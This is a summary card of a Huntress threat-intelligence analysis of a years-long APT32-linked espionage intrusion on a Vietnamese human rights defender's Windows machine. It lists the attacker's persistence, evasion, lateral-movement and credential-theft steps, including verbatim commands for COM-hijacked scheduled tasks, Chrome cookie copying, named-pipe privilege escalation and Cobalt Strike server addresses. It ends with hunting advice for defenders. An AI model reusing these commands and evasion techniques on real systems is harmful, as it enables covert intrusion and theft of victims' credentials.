# APT Targeting Vietnamese Human Rights Defenders

APT32-linked intrusion on a Vietnamese human rights defender's machine used COM-hijacked scheduled tasks, sideloaded DLLs, and steganographic loaders for four years of espionage.

- Payout: Real-world hack
- Analysis by: Huntress
- Disclosed: 2024-08-28
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/advanced-persistent-threat-targeting-vietnamese-human-rights-defenders
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-advanced-persistent-threat-targeting-vietnamese-human-rights-defenders
- Tags: area:os domain:desktop impact:data-leak impact:internal-access kind:incident platform:threat-intel tech:windows technique:chained technique:source-review vuln:misconfiguration vuln:privilege-escalation vuln:secrets-leak

**Target:** Windows endpoints (scheduled tasks, COM handlers, run keys, JAR/Node loaders)
**Root cause:** Attacker registered malicious COM handlers under HKU\Software\Classes\CLSID with DllSurrogate=0 and InProcServer32 pointing to a signed cachuri.dll that imports a patched iisutil2.dll; the DLL was bloated past 50MB to evade YARA size rules and sandbox upload limits.
**Steps:**
1. Create scheduled task masquerading as `Adobe Flash Updater` running `wscript.exe /Nologo /E:VBScript C:\ProgramData\AppData\Roaming\Adobe\Updater\scheduler\scheduler.ps1:log.txt` (ADS payload).
2. Register COM object: `HKU\<SID>\Software\Classes\AppID\{1F7CFAF8-...}` with `DllSurrogate=0`, `WOW6432Node\CLSID\{...}\AppID` and `InProcServer32` default = `C:\Users\<REDACTED>\AppData\Roaming\Microsoft\UpdateLibrary\{1F7CFAF8-B558-4EBD-9526-203135A79B1D}\cachuri.dll`.
3. Create scheduled task `UpdateLibrary_{1F7CFAF8-...}` with COM Handler `{1F7CFAF8-...}` and StartBoundary `2020-01-01T00:00:00` to invoke DllHost surrogate.
4. Replace iisutil2.dll with patched copy bloated >50MB; entry point offset `0x00025FB0` calls `0x1002711e`; decrypts `iisexpressshim.sdb` with XOR 0xFF + LZNT1, then steganographically extracts code from `logo.png` via CryptDecrypt.
5. Deploy JAR loaders `adobe.jar` run via `javaw.exe -jar ... mi54giwp`; `msadobe.jar` run via `javaw.exe -jar ... zfhqq01v`; embedded DLL creates mutex `okSSjZzAlnNOlQaGoDWx` and loads `adobe.png`/`msreader.bin`.
6. Establish SFTP C2 via `MSSharePoint.vbs`/`connection.bat` using private key on disk to pull `cloud.bat`/`cloudlog.txt`; persist with `schtasks /create /sc minute /mo 300 /tn Handler{...} /tr ...cloud.bat /f`.
7. Sideload via run keys: `WdiServiceHost.exe` (mcoemcpy.exe), `SoftwareUpdate.exe` (Apple), `DropboxUpdate.exe` -> `goopdate.dll` -> `DropboxUpdate.bin`.
8. Lateral movement: `net use \\<ip> /u:"<domain>\<user>" "<password>"`, `wmic /node:<ip> process call create`, `schtasks /u ... /RU "NT AUTHORITY\SYSTEM"`.
9. Credential theft: `cmd /c for /f "tokens=*" %G in ('dir /b "%localappdata%\Google\Chrome\User Data\Profile *"') do copy "...\%G\Network\Cookies.bak" "...\%G\Cookies" /y`.
**How found:** Huntress hunting rules flagged a system infrequently running a few admin commands from an unusual process (max 12/day); pivoting on persistent footholds revealed masqueraded scheduled tasks and COM handlers.
**Exploitation:** Long-dwell espionage: COM-hijacked scheduled tasks and run keys launch signed-but-patched DLLs and JAR/Node loaders that decrypt steganographic payloads in memory, beacon to Cobalt Strike team servers (185.198.57.184, 185.43.220.188:8888), pivot via net use/wmic/schtasks to other hosts, and exfiltrate Chrome cookies and domain recon.
**Escalation:** Named-pipe impersonation via injected gpupdate.exe (`echo ... > \\.\pipe\...`) for SYSTEM, then schtasks /RU "NT AUTHORITY\SYSTEM" to persist on host 3; multiple redundant backdoor variants planted over years.
**Insight:** Hunt for low-frequency, low-volume admin command bursts from odd parents; enumerate HKU\Software\Classes\CLSID InProcServer32 entries pointing at signed binaries in user AppData, and check scheduled tasks whose COM Handler GUIDs match those CLSIDs.

## Proof of concept (copied exactly from the original report)

**Chrome cookie theft command via COM backdoor**

```
cmd /c for /f "tokens=*" %G in ('dir /b "%localappdata%\Google\Chrome\User Data\Profile *"') do copy "%localappdata%\Google\Chrome\User Data\%G\Network\Cookies.bak" "%localappdata%\Google\Chrome\User 
Data\%G\Cookies" /y
```

**Scheduled task running malicious JAR via javaw**

```
schtasks /create /sc MINUTE /mo 300 /tn "Microsoft\Windows\WindowsColorSystem\Calibration_Update" /tr "C:\Users\<REDACTED>\AppData\Roaming\Microsoft\SPMigration\Bin\Calibre.exe
" /f
```

**Named pipe privilege escalation via calibre process**

```
C:\Windows\system32\cmd.exe /c echo a0e3d8a67d0 > \\.\pipe\a64009
```